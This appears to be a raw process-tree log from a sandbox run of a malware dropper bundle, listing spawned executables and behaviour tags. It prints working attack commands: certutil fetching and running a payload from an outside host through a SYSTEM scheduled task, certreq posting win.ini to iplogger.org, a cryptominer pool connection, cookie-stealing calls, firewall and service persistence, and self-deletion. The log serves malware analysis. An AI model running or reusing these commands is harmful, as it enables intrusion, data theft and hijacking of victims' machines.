- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4392
-
-
-
C:\Users\Admin\AppData\Local\Temp\ttcn5fanynd\kzmd3ob5k2h.exe"C:\Users\Admin\AppData\Local\Temp\ttcn5fanynd\kzmd3ob5k2h.exe" testparams8⤵
- Executes dropped EXE
PID:1524 -
C:\Users\Admin\AppData\Roaming\l51iwjuntnk\wh3loyyu0dx.exe"C:\Users\Admin\AppData\Roaming\l51iwjuntnk\wh3loyyu0dx.exe" /VERYSILENT /p=testparams9⤵PID:4528
-
C:\Users\Admin\AppData\Local\Temp\is-7IGMV.tmp\wh3loyyu0dx.tmp"C:\Users\Admin\AppData\Local\Temp\is-7IGMV.tmp\wh3loyyu0dx.tmp" /SL5="$303C8,1611272,61440,C:\Users\Admin\AppData\Roaming\l51iwjuntnk\wh3loyyu0dx.exe" /VERYSILENT /p=testparams10⤵PID:5376
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\pjrrff4gekt\nrdgll0aeuq.exe"C:\Users\Admin\AppData\Local\Temp\pjrrff4gekt\nrdgll0aeuq.exe" 57a764d042bf88⤵
- Executes dropped EXE
PID:4296 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k "C:\Program Files\N08ZPAQ7LR\N08ZPAQ7L.exe" 57a764d042bf8 & exit9⤵PID:5292
-
C:\Program Files\N08ZPAQ7LR\N08ZPAQ7L.exe"C:\Program Files\N08ZPAQ7LR\N08ZPAQ7L.exe" 57a764d042bf810⤵PID:5700
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\erwvio40gdi\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\erwvio40gdi\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1292 -
C:\Users\Admin\AppData\Local\Temp\is-Q6HMJ.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-Q6HMJ.tmp\IBInstaller_97039.tmp" /SL5="$1033A,14464800,721408,C:\Users\Admin\AppData\Local\Temp\erwvio40gdi\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:4940 -
C:\Users\Admin\AppData\Local\Temp\is-FLPJ5.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-FLPJ5.tmp\{app}\chrome_proxy.exe"10⤵PID:4976
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-FLPJ5.tmp\{app}\chrome_proxy.exe"11⤵PID:4592
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 412⤵
- Runs ping.exe
PID:5396
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://dropskeyssellbuy.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵PID:4348
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\uxocmg2s2qk\vpn.exe"C:\Users\Admin\AppData\Local\Temp\uxocmg2s2qk\vpn.exe" /silent /subid=4828⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4204
-
-
C:\Users\Admin\AppData\Local\Temp\osmxa4ajg2b\fpfu4qdg4lv.exe"C:\Users\Admin\AppData\Local\Temp\osmxa4ajg2b\fpfu4qdg4lv.exe" /ustwo INSTALL8⤵
- Executes dropped EXE
PID:3432 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 6489⤵
- Program crash
PID:2748
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 6649⤵
- Program crash
PID:3772
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 6689⤵
- Program crash
PID:5212
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 6649⤵
- Program crash
PID:5392
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 6489⤵
- Program crash
PID:5748
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 9689⤵
- Program crash
PID:5528
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 11449⤵
- Program crash
PID:3724
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 11809⤵
- Program crash
PID:4304
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 12129⤵
- Program crash
PID:6140
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 12889⤵
- Program crash
PID:5324
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 12809⤵
- Program crash
PID:5892
-
-
-
C:\Users\Admin\AppData\Local\Temp\aeggkxw0n3u\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\aeggkxw0n3u\chashepro3.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4388
-
-
C:\Users\Admin\AppData\Local\Temp\w10no4gaexp\app.exe"C:\Users\Admin\AppData\Local\Temp\w10no4gaexp\app.exe" /8-238⤵
- Executes dropped EXE
PID:4288 -
C:\Users\Admin\AppData\Local\Temp\gtYgTTsqsGjTdEQLQgByEPWQcfGu\kdu.exeC:\Users\Admin\AppData\Local\Temp\gtYgTTsqsGjTdEQLQgByEPWQcfGu\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\gtYgTTsqsGjTdEQLQgByEPWQcfGu\driver.sys9⤵PID:5684
-
-
C:\Users\Admin\AppData\Local\Temp\w10no4gaexp\app.exe"C:\Users\Admin\AppData\Local\Temp\w10no4gaexp\app.exe" /8-239⤵PID:4292
-
C:\Users\Admin\AppData\Local\Temp\LRKNBitKGAtRBSlQqQOYBiXOdT\kdu.exeC:\Users\Admin\AppData\Local\Temp\LRKNBitKGAtRBSlQqQOYBiXOdT\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\LRKNBitKGAtRBSlQqQOYBiXOdT\driver.sys10⤵PID:2344
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"10⤵PID:4244
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes11⤵PID:7072
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /8-2310⤵PID:6644
-
C:\Users\Admin\AppData\Local\Temp\WTGGMxNWXrtIVNiysoySUHG\kdu.exeC:\Users\Admin\AppData\Local\Temp\WTGGMxNWXrtIVNiysoySUHG\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\WTGGMxNWXrtIVNiysoySUHG\driver.sys11⤵PID:6856
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F11⤵
- Creates scheduled task(s)
PID:6204
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F11⤵
- Creates scheduled task(s)
PID:6760
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"11⤵PID:2728
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:3620 -
C:\Users\Admin\AppData\Roaming\B7DC.tmp.exe"C:\Users\Admin\AppData\Roaming\B7DC.tmp.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4208 -
C:\Users\Admin\AppData\Roaming\B7DC.tmp.exe"C:\Users\Admin\AppData\Roaming\B7DC.tmp.exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4344
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵PID:4680
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:4760
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4704
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"4⤵
- Executes dropped EXE
PID:4252 -
C:\ProgramData\8807407.96"C:\ProgramData\8807407.96"5⤵PID:5816
-
-
C:\ProgramData\5766821.63"C:\ProgramData\5766821.63"5⤵PID:5844
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵PID:5752
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵PID:5900
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:5996
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:4856
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"4⤵PID:4768
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:4844
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:6232
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1D68239EC59319F877C0220CB8CE966B C2⤵
- Loads dropped DLL
PID:3116
-
-
C:\Users\Admin\AppData\Local\Temp\is-3GFUB.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-3GFUB.tmp\vpn.tmp" /SL5="$10338,15170975,270336,C:\Users\Admin\AppData\Local\Temp\uxocmg2s2qk\vpn.exe" /silent /subid=4821⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4932 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "2⤵PID:5368
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap09013⤵PID:5052
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "2⤵PID:6516
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap09013⤵PID:6752
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall2⤵PID:5064
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install2⤵PID:6680
-
-
C:\Program Files (x86)\JCleaner\gl.exe"C:\Program Files (x86)\JCleaner\gl.exe"1⤵
- Executes dropped EXE
PID:5016 -
C:\Program Files (x86)\JCleaner\gl.exe"C:\Program Files (x86)\JCleaner\gl.exe"2⤵PID:5452
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1hTS97 %windir%\\win.ini %temp%\\2 & del %temp%\\21⤵PID:4368
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1hTS97 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\22⤵PID:1184
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1hTS97"1⤵PID:4336
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"1⤵PID:5108
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1EaGq7"1⤵PID:1728
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\21⤵PID:4316
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\21⤵PID:3200
-
C:\Program Files (x86)\JCleaner\ww.exe"C:\Program Files (x86)\JCleaner\ww.exe"1⤵PID:4468
-
C:\Program Files (x86)\JCleaner\ww.exe"C:\Program Files (x86)\JCleaner\ww.exe"2⤵PID:3796
-
-
C:\Program Files (x86)\JCleaner\jayson.exe"C:\Program Files (x86)\JCleaner\jayson.exe"1⤵PID:4552
-
C:\Program Files (x86)\JCleaner\jayson.exe"C:\Program Files (x86)\JCleaner\jayson.exe"2⤵PID:6120
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"1⤵PID:2496
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1aSny7"1⤵PID:4172
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\21⤵PID:3696
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\21⤵PID:4752
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1Gusg7"1⤵PID:5096
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s11⤵PID:5072
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"2⤵PID:5696
-
-
C:\Users\Admin\AppData\Local\Temp\is-ULIUM.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-ULIUM.tmp\chashepro3.tmp" /SL5="$102A8,3362400,58368,C:\Users\Admin\AppData\Local\Temp\aeggkxw0n3u\chashepro3.exe" /VERYSILENT1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4892
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:3632
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:5468
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵PID:6936
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{7751e60b-a76f-0b42-834a-064d2fe68d36}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵PID:7072
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000174"2⤵PID:5936
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6312
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:5008
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:4896
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\abb31d1c8cf14d8baa514fe29b5cdcc2 /t 4728 /p 36321⤵PID:5864
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵PID:1808
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\09ff161688884889b79b9d8ca7394ef3 /t 7076 /p 63121⤵PID:2304
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵PID:6748
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:4384
-
-
C:\Users\Admin\AppData\Local\Temp\B84F.exeC:\Users\Admin\AppData\Local\Temp\B84F.exe1⤵PID:6620
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\d9516ce9-f696-446d-aad5-a1e4e65670e0" /deny *S-1-1-0:(OI)(CI)(DE,DC)2⤵
- Modifies file permissions
PID:6904
-
-
C:\Users\Admin\AppData\Local\Temp\B84F.exe"C:\Users\Admin\AppData\Local\Temp\B84F.exe" --Admin IsNotAutoStart IsNotTask2⤵PID:5092
-
C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin1.exe"C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin1.exe"3⤵PID:5544
-
-
C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin2.exe"C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin2.exe"3⤵PID:4828
-
-
C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin.exe"C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin.exe"3⤵PID:7100
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin.exe4⤵PID:4688
-
C:\Windows\SysWOW64\timeout.exetimeout /t 35⤵
- Delays execution with timeout.exe
PID:4244
-
-
-
-
C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\5.exe"C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\5.exe"3⤵PID:7020
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 8524⤵
- Program crash
PID:6104
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 9164⤵
- Program crash
PID:6216
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 9244⤵
- Program crash
PID:384
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 10124⤵
- Program crash
PID:6876
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 11084⤵
- Program crash
PID:4224
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 10164⤵
- Program crash
PID:4996
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 12644⤵
- Program crash
PID:6464
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 14324⤵
- Program crash
PID:2792
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 15604⤵
- Program crash
PID:6196
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\C9B6.exeC:\Users\Admin\AppData\Local\Temp\C9B6.exe1⤵PID:2304
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo dbvicTgbw2⤵PID:2740
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Lana.vstx2⤵PID:4276
-
C:\Windows\SysWOW64\cmd.execmd3⤵PID:1368
-
-
-
C:\Users\Admin\AppData\Local\Temp\D5AD.exeC:\Users\Admin\AppData\Local\Temp\D5AD.exe1⤵PID:3912
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\D5AD.exe"2⤵PID:5080
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
PID:6888
-
-
-
C:\Users\Admin\AppData\Local\Temp\EE66.exeC:\Users\Admin\AppData\Local\Temp\EE66.exe1⤵PID:1776
-
C:\Users\Admin\AppData\Local\Temp\1EF.exeC:\Users\Admin\AppData\Local\Temp\1EF.exe1⤵PID:4152
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\winbyqp\2⤵PID:2560
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kntncnye.exe" C:\Windows\SysWOW64\winbyqp\2⤵PID:5060
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create winbyqp binPath= "C:\Windows\SysWOW64\winbyqp\kntncnye.exe /d\"C:\Users\Admin\AppData\Local\Temp\1EF.exe\"" type= own start= auto DisplayName= "wifi support"2⤵PID:5416
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description winbyqp "wifi internet conection"2⤵PID:6784
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start winbyqp2⤵PID:5776
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵PID:2476
-
-
C:\Users\Admin\AppData\Local\Temp\2E21.exeC:\Users\Admin\AppData\Local\Temp\2E21.exe1⤵PID:2344
-
C:\Users\Admin\AppData\Local\Temp\4FF2.exeC:\Users\Admin\AppData\Local\Temp\4FF2.exe1⤵PID:6472
-
C:\Users\Admin\AppData\Local\Temp\4FF2.exeC:\Users\Admin\AppData\Local\Temp\4FF2.exe2⤵PID:5828
-
-
C:\Users\Admin\AppData\Local\Temp\6ACE.exeC:\Users\Admin\AppData\Local\Temp\6ACE.exe1⤵PID:6092
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:5624
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:1932
-
-
C:\Users\Admin\AppData\Local\Temp\74C2.exeC:\Users\Admin\AppData\Local\Temp\74C2.exe1⤵PID:5800
-
C:\Windows\SysWOW64\winbyqp\kntncnye.exeC:\Windows\SysWOW64\winbyqp\kntncnye.exe /d"C:\Users\Admin\AppData\Local\Temp\1EF.exe"1⤵PID:6032
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵PID:5648
-
C:\Windows\SysWOW64\svchost.exesvchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k3⤵PID:5880
-
-
-
C:\Users\Admin\AppData\Local\Temp\ADF3.exeC:\Users\Admin\AppData\Local\Temp\ADF3.exe1⤵PID:6652
-
C:\Users\Admin\AppData\Local\Temp\ADF3.exe"C:\Users\Admin\AppData\Local\Temp\ADF3.exe"2⤵PID:3968
-
-
C:\Users\Admin\AppData\Local\Temp\C10F.exeC:\Users\Admin\AppData\Local\Temp\C10F.exe1⤵PID:6240
-
C:\Users\Admin\AppData\Local\Temp\is-2RQHE.tmp\C10F.tmp"C:\Users\Admin\AppData\Local\Temp\is-2RQHE.tmp\C10F.tmp" /SL5="$E0038,300262,216576,C:\Users\Admin\AppData\Local\Temp\C10F.exe"2⤵PID:4936
-
C:\Users\Admin\AppData\Local\Temp\is-1FL1C.tmp\ST.exe"C:\Users\Admin\AppData\Local\Temp\is-1FL1C.tmp\ST.exe" /S /UID=lab2123⤵PID:6116
-
C:\Program Files\N08ZPAQ7LR\NQTQVFJJOY\prolab.exe"C:\Program Files\N08ZPAQ7LR\NQTQVFJJOY\prolab.exe" /VERYSILENT4⤵PID:6264
-
C:\Users\Admin\AppData\Local\Temp\is-GJAD6.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-GJAD6.tmp\prolab.tmp" /SL5="$60118,575243,216576,C:\Program Files\N08ZPAQ7LR\NQTQVFJJOY\prolab.exe" /VERYSILENT5⤵PID:2272
-
-
-
C:\Users\Admin\AppData\Local\Temp\55-40016-c14-fe7a9-f33b2fac9ce05\Fadihyraeci.exe"C:\Users\Admin\AppData\Local\Temp\55-40016-c14-fe7a9-f33b2fac9ce05\Fadihyraeci.exe"4⤵PID:2288
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e1bmtjau.g2k\joggaplayer.exe & exit5⤵PID:6780
-
C:\Users\Admin\AppData\Local\Temp\e1bmtjau.g2k\joggaplayer.exeC:\Users\Admin\AppData\Local\Temp\e1bmtjau.g2k\joggaplayer.exe6⤵PID:6884
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:7244
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:7888
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2m4lxsc0.unn\proxybot.exe & exit5⤵PID:5164
-
C:\Users\Admin\AppData\Local\Temp\2m4lxsc0.unn\proxybot.exeC:\Users\Admin\AppData\Local\Temp\2m4lxsc0.unn\proxybot.exe6⤵PID:7448
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"7⤵PID:7744
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vwn1jhry.ls0\ra4vpn.exe & exit5⤵PID:7280
-
C:\Users\Admin\AppData\Local\Temp\vwn1jhry.ls0\ra4vpn.exeC:\Users\Admin\AppData\Local\Temp\vwn1jhry.ls0\ra4vpn.exe6⤵PID:7572
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\DEF8.exeC:\Users\Admin\AppData\Local\Temp\DEF8.exe1⤵PID:5124
-
C:\Users\Admin\AppData\Roaming\fgfaufeC:\Users\Admin\AppData\Roaming\fgfaufe1⤵PID:4128
-
